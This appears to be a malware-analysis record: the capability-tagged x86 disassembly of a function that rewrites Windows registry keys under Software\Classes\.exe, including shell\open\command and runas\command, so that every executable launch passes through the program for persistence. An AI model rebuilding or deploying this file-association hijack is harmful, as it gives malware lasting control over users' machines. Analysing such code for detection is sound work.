Function at 0x402f70
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
lea esi, [ebp - 0x188]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x198], edi
call fcn.00402f00
test al, al
jne 0x402fac
mov byte [ebp - 0x188], al
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402fb1
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041ceb7
mov ebx, eax
mov ecx, 0x22
mov word [ebx], cx
mov ecx, edi
add esp, 4
mov dword [ebp - 0x19c], ebx
mov eax, ecx
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x402fe0
sub ecx, eax
mov edx, ecx
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402ff0
mov ecx, edx
shr ecx, 2
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx - 1]
jmp 0x403010
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403010
mov edx, dword [str.___START___1___]
mov dword [ecx], edx
mov eax, dword [0x4337f4]
mov dword [ecx + 4], eax
mov edx, dword [0x4337f8]
mov dword [ecx + 8], edx
mov eax, dword [0x4337fc]
mov dword [ecx + 0xc], eax
mov dl, byte [0x433800]
mov byte [ecx + 0x10], dl
mov edx, ebx
lea ecx, [ebp - 0x188]
lea ebx, [ebx]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403070
test al, al
je 0x40306c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403070
add ecx, 2
add edx, 2
test al, al
jne 0x403050
xor eax, eax
jmp 0x403075
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403849
mov eax, dword [ebp - 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403086
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041ceb7
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x198]
add esp, 4
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4030b0
sub eax, ecx
sub eax, 0xffffff80
push eax
call fcn.0041ceb7
mov edi, dword [ebp - 0x194]
mov ebx, eax
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s
push edi
call fcn.0041d6a1
mov ecx, dword [str.Application]
mov dword [ebx], ecx
mov edx, dword [0x43381c]
mov dword [ebx + 4], edx
mov eax, dword [0x433820]
mov dword [ebx + 8], eax
mov eax, ebx
add esp, 0x10
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403100
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push edi
sub eax, esi
push closesocket
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403153
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x194]
push eax
push str.SoftwareClasses_s
push ecx
call fcn.0041d6a1
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403182
push 0
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
sub eax, esi
mov esi, dword [ebp - 0x194]
push 0
push esi
push closesocket
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4031de
push edi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_sDefaultIcon
push esi
call fcn.0041d6a1
mov dx, word [0x433870]
mov word [ebx], dx
mov al, byte [0x433872]
mov byte [ebx + 2], al
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403210
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edx
push closesocket
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403263
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shellopencommand
push esi
call fcn.0041d6a1
mov eax, dword [ebp - 0x198]
mov ecx, 0x22
add esp, 0xc
mov word [ebx], cx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403288
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403294
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4032b0
mov edx, dword [str.___START___1___]
mov dword [eax], edx
mov ecx, dword [0x4337f4]
mov dword [eax + 4], ecx
mov edx, dword [0x4337f8]
mov dword [eax + 8], edx
mov ecx, dword [0x4337fc]
mov dword [eax + 0xc], ecx
mov dl, byte [0x433800]
mov byte [eax + 0x10], dl
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032f0
mov esi, dword [ebp - 0x194]
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403349
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push str.SoftwareClasses_s_shellopencommand
push esi
call fcn.0041d6a1
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x4338a0]
mov eax, ebx
add esp, 0xc
mov dword [ebx + 4], ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403373
push 0
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edi
push closesocket
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4033c9
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_s_shell_runascommand
push esi
call fcn.0041d6a1
mov edx, dword [str.__1___]
mov dword [ebx], edx
mov eax, dword [0x4338a0]
mov dword [ebx + 4], eax
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033f3
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edx
push closesocket
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403446
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shell_runascommand
push esi
call fcn.0041d6a1
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x4338a0]
mov eax, ebx
mov dword [ebx + 4], edx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403471
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4034c7
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push 0x433610
push ebx
call fcn.0041d6a1
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034e1
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403538
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403550
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push closesocket
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4035ac
push esi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov cx, word [0x433870]
mov word [ebx], cx
mov dl, byte [0x433872]
mov eax, ebx
mov byte [ebx + 2], dl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035c4
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exeDefaultIcon
push closesocket
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403617
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x198]
mov edx, 0x22
mov word [ebx], dx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403627
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403633
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403650
mov ecx, dword [str.___START___1___]
mov dword [eax], ecx
mov edx, dword [0x4337f4]
mov dword [eax + 4], edx
mov ecx, dword [0x4337f8]
mov dword [eax + 8], ecx
mov edx, dword [0x4337fc]
mov dword [eax + 0xc], edx
mov cl, byte [0x433800]
mov byte [eax + 0x10], cl
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403690
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push closesocket
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4036e9
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x4338a0]
mov eax, ebx
mov dword [ebx + 4], edx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403700
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push closesocket
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x403756
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [str.__1___]
mov dword [ebx], edx
mov eax, dword [0x4338a0]
mov dword [ebx + 4], eax
mov eax, ebx
lea edx, [eax + 1]
jmp 0x403770
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403770
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
sub eax, edx
push closesocket
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4037c3
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x4338a0]
mov eax, ebx
mov dword [ebx + 4], ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037d8
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
push closesocket
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x40382e
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.0041d848
push ebx
call fcn.0041d848
mov ebx, dword [ebp - 0x19c]
add esp, 8
push ebx
call fcn.0041d848
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret